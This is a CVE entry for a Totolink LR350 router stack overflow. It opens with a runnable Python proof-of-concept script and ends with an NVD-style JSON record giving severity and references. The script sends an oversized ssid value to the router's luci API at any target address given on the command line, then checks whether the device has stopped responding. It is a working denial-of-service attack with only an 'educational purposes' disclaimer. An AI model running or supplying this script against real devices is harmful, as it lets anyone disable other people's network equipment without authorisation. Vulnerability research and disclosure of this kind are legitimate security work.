CVE-2025-63469

#!/usr/bin/env python3 """ CVE-2025-63469 PoC - Totolink LR350 Stack Overflow via ssid parameter Note: This PoC is for educational and security research purposes only. """ import requests import argparse import sys def exploit_totolink_lr350(target_ip, target_port=80, overflow_length=1000): """ Exploit stack overflow in sub_421BAC function via ssid parameter """ url = f"http://{target_ip}:{target_port}/cgi-bin-igd/luci/api/network" # Generate overflow payload - long string to trigger stack overflow overflow_payload = "A" * overflow_length # Prepare the malicious request with oversized ssid parameter data = { "ssid": overflow_payload, "module": "wireless", "method": "set_ssid" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[*] Sending malicious request to {url}") print(f"[*] Payload length: {len(overflow_payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") # Check if device is still responsive check_url = f"http://{target_ip}:{target_port}" try: health_check = requests.get(check_url, timeout=5) print("[-] Device still responsive - DoS may require larger payload") except requests.exceptions.RequestException: print("[+] DoS successful - Device is not responding") except requests.exceptions.RequestException as e: print(f"[+] DoS triggered - Request failed: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-63469 PoC") parser.add_argument("-t", "--target", required=True, help="Target IP address") parser.add_argument("-p", "--port", type=int, default=80, help="Target port (default: 80)") parser.add_argument("-l", "--length", type=int, default=1000, help="Overflow payload length") args = parser.parse_args() exploit_totolink_lr350(args.target, args.port, args.length)

{"cve": {"id": "CVE-2025-63469", "sourceIdentifier": "[email protected]", "published": "2025-10-31T16:15:41.127", "lastModified": "2025-11-05T17:30:23.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Totolink LR350 v9.3.5u.6369_B20220309 was discovered to contain a stack overflow via the ssid parameter in the sub_421BAC function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:lr350_firmware:9.3.5u.6369_b20220309:*:*:*:*:*:*:*", "matchCriteriaId": "6E7C618F-D415-4075-96A5-45E44B52FB62"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:lr350:-:*:*:*:*:*:*:*", "matchCriteriaId": "4CA0663B-3F55-44EF-AF32-F83AB0411748"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/LR350/5/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/LR350/5/1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}